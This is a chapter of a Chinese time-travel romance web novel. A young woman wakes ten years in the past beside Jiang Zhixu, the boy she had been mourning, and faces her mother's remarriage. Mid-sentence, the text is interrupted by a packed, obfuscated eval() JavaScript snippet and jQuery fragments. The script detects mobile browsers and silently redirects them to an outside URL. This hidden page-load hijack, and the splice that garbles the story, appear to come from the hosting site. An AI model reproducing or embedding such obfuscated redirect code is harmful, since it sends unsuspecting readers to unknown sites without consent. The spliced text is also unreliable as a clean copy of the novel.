“你是……”
一路上乔绾一都在分神，猝不及防听见声音，整个人颤了下。
“啊？”
女生浑身湿漉漉的，长睫毛被水汽打湿，没精打采耷拉着，眼睛里装着不含任何杂质的泉。
干净、清澈。
能触碰到的人远比回忆中的更能牵动心脏，江知许花了十年才结好的伤口再度崩溃，原来时间也不是什么都能带走的。
刻骨铭心的痛只会短暂谢幕，随时都有再度登台的可能。
暗处，江知许指骨关节早已褪尽血色，垂眼看着她。
“你是在等我给你擦吗？”
摇了摇头，乔绾一问：“有纸吗？”
江知许伸手，递给她两张带有印花的纸。
以为她是嫌毛巾不干净，缄默半晌，没忍住解释：“毛巾是新的。”
乔绾一擦脸的动作不自觉停顿了下，再继续时明显慢不少：“新的扔掉更可惜。”
当初可是连五位数的西装都扔了。
司机从后视镜疑惑地看了女生一眼。
又看了他家少爷一眼——
和他一样懵逼。
很好，不止他没听懂。
心里平衡了。
车内气氛安静到宛如真空，良久，清冽淡香伴随着热意从身侧袭来，一只白皙修长的手闯入乔绾一视线。
下一瞬，她的额头处传来丝丝凉意。
江知许中指和食指背部贴到女生额头，触感柔软温热——
是正常体温。
“不没发烧。”
足足有半分钟他才撤走手指，冷淡薄情态度从始而终。
“胡言乱语什么。”
那点干净好闻的香还绕在鼻尖，乔绾一愣愣听完。视线尽头，江知许已经调整好了坐姿，依旧是古井不波的表情，低着头看手机。
不是防窥膜，能隐约看到是聊天界面。
这个角度，手机冷光打亮少年半张侧脸，越发衬得皮肤瓷白，看着就不近人情。
“江知许。”
女孩子声音又轻又软，两只大眼睛泛着雾蒙蒙的湿气，好像受了天大的委屈。
“你怎么在梦里也这么凶啊。”
打字的手突然一抖，空气陷入沉甸甸的安静。
江知许身子向后靠上椅背，狠狠咬破舌尖。血腥味立刻在口中张牙舞爪蔓延。
他却松了口气。
还好，会疼。
“不是梦。”江知许硬邦邦纠正，“……也没凶你。”
男生嘴唇抿成一条紧绷的线，乔绾一呆滞片刻，在胳膊上狠狠一掐——
一瞬间尖锐疼痛过去，留下火辣辣的灼烧感。
真的不是梦。
可这怎么可能？
江知许他，明明已经死了啊。
死了……
一个乍然而起的猜想浮现于脑海，乔绾一瞪大眼睛，手摸遍全身，扭头望江知许：“可以借一下你的手机吗？”
女孩语气焦急，眼周泛着薄红。江知许看了她会儿，不知想到了什么，动作顿了顿，犹豫片刻才把手机给她。
并且贴心解开了锁屏。
乔绾一没注意他的小动作，忙不迭去看手机显示的时间——
2019年4月4日，清明。
还真是，活见鬼了。
她在去给江知许扫墓的路上，一脚踏进了十年前。
那个，江知许还活着的、十年前。
喜悦情绪后来居上，乔绾一攥紧手机，浑身都在发抖，豆大眼泪尽数落上手背。
“擦擦吧。”江知许给她递纸，顿了下，低声补充，“会好的。”
这语气像是早就知道什么。
“你怎么……”
“知道”没说出来，被江知许打断：“阿姨婚礼在什么时候？”
婚礼？
乔绾一一愣，想起来了。
十年前清明节头一天，她从母亲口中得知即将二婚的消息，正因如此，她才赌气冒着大雨去陵园看望她父亲。
乔绾一生父是街坊邻居常挂嘴边的老好人，一年到头就没见他嘴角放下来过。
如果不是因为贪图一点生活费，大货车在高速路翻毁，连人带车，无一生还。
后来次年，母亲再婚。
也就是现在这个时间点往后，五一举办婚礼。
出神间隙，布加迪拐进一处小区，没有停下的意思。
“在这停。”
进去被看见乔绾一从陌生男人车上下来保不准会被谁议论什么，江知许带好伞，先下去撑开才绕到另一边。
让乔绾一下来。
“不用的，”乔绾一猜到他的意图，婉拒，“我自己过去就好。”
好像他是什么可怕的外来物种，女生躲着视线连连后退，他的伞都罩不住她了。
沉默瞬息，江知许从鼻腔内嗤出一声气音。
是笑声，染着自嘲。
果然，她还是很讨厌他。
“我一开始，”雨珠砸碎尾音颤意，江知许垂眼看着她，把伞塞到她手里，“也没打算过去。”
那眼神直叫乔绾一凉意透心，比雨水还冷。
“……嗯。”
都见过他冷漠态度这么多年了，早该习惯了，可心里还是控制不住地难受。
乔绾一忍下，勉强笑着说：“谢谢你送我回来。”
江知许没应声，目送她背影消失在雨雾。
回去路上，司机几番欲言又止。
快到家的时候，江知许说：“刚才的事一个字都不许往外说。”
“嗳嗳！”司机忙不迭答应下，觑着他脸色，“少爷，刚才那姑娘是谁啊？”
亲自送她回来不说，还在雨里等了一天。
车子即将熄火，司机都以为自己问题落空了，他家少爷在后面鬼一样哑声说：
“白月光。”
-
小区还是记忆中的样子，一点变化都没有。
乔绾一绕开水坑，差几米到单元楼，一声“阿绾”远远地从身后传来。
她立即止住脚步回头，身后女人撑着黑蓝格子的伞，两侧脸颊和脖子上都是被水打湿粘在上面的头发。
“这大雨天你去哪儿了，你要把你亲娘吓死啊！”
“妈妈……”再见到年轻模样的母亲，乔绾一鼻尖发酸，“对不起。”
白文锦眼圈红肿，估计也是刚哭过，拉着她进电梯上楼。
“是妈的错，妈妈不应该不考虑你的感受，你要是不喜欢，”白文锦擦了下眼尾，“妈都依你，妈不结了，就好好陪着你。”
父母结婚早，白文锦今年才三十多，往后还有几十年的光景，不可能为了她爸守一辈子寡。
只是，乔绾一联想到之前，白文锦再婚后家里多了个弟弟，恐怕现在肚子里已经有胚芽了，再怎么说弟弟也是无辜的，而且母亲总不能，这么没名没分过一辈子。
继父对她虽从不多嘴过问，但该给的从没缺过她的份，至于偏心……
乔绾一陷入回忆。
她记得白文锦再婚没多久就跟着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585559|171728||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
继父移居了，后来弟弟出生，一家子其乐融融，她反倒像个局外人。
眼不见心不烦，当时乔绾一赌气向白文锦提出了“分居”，自己守着父母婚房一直到大学毕业再也没有回去过。
心脏原本就只长在一侧，做不到公平公正。
乔绾一早就释然了：“妈，我只是想爸爸了而已。”
“这事还是你自己做主，我只想你过得好。”
白文锦大概没想到乔绾一会这么说，表情冻在脸上，嘴唇嗫嚅着，竟是要哭。
“是妈妈对不住你，你放心，就算真的跟你林叔叔结婚了妈也会带你走。”
乔绾一没有第一时间给出答复，白文锦见她衣服全湿透了，催着她去洗澡换衣服。
犹豫半天，乔绾一还是决定告诉她：“妈，我想留在这。”
白文锦不解地看向她。
“我今年高二，现在转学我怕会跟不上进度。”
乔绾一从小学习拔尖，适应能力强。这话白文锦当然不信，只是太多压力同时聚集，女儿才十几岁，总得给她一个适应的时间。
“妈听你的。”白文锦只这么说。
乔绾一笑了笑，这才安心去浴室。
今天发生的一切都令她难以置信，之前经历那些暂且称为上辈子。
也是这个时间点，她听从母亲的话转学，没多久得知江知许进军去GAL（GuardianAngelLeague守护天使职业联赛）电竞圈打职业的消息。
她按部就班，他出道巅峰。
后来重逢更是来得草率，婚礼也特别唐突。
大学毕业那年，弟弟病重。男方是乔绾一大学四年的追求者，允诺只要乔绾一嫁给他，便给三十万彩礼。
让她用来给弟弟治病。
所有人都在劝她，却没有一个人关心她愿不愿意。
走投无路那晚，月光惨淡，冬日寒风呼啸，残叶打着旋被踩在脚底，咯咯吱吱一阵脆响。
半夜快一点，街道萧条凄冷。
公司最后那点光灭了，乔绾一裹紧围巾，手机内是几十个来自不同人的未接来电。
风声翛翛唳唳，刀刀割在脸颊。
聚酯纤维御寒能力差到令人发指，乔绾一手指冻到僵硬打颤，锁屏密码输了好几次都没点对。
白色路灯薄纱般罩下来，阴影由远及近，寒意裹挟着清冽气息随风飘散，被嗅觉捕捉。
乔绾一顿步抬头。
率先闯入视野的是一截黑色布料，再往上，少年乌黑发丝被风吹得凌乱，墨色眼眸像油画棒在白纸上狠狠刮出的一笔。
“乔绾一。”
他抬起胳膊，动作很轻地从她眼尾擦过，一点凉意蔓延，比冬天的风还冷。
触电似的，乔绾一往后蓦地一缩。
“你怎么会在这里？”
江知许答非所问：“你遇到麻烦了。”
事情闹这么难堪，高中班级群还没解散，恐怕里外早就传开了。
“江知许。”乔绾一不知道他听说了多少，她只知道，自己这副样子一点也不想被他看见，“别问了好吗。”
女生话中哭腔浓郁破碎，江知许就这么静静看着她，声音压得很低很低。
“我能帮你。”
夜色掩盖了少年桃花眼中素日波澜不惊的冷淡，唯独声音尾调散开，带着寒风都遮不住的颤音，像低三下四的祈求。
“你相信我，跟我走，我能帮你。”
“乔绾一，跟我走吧。”
“……行吗。”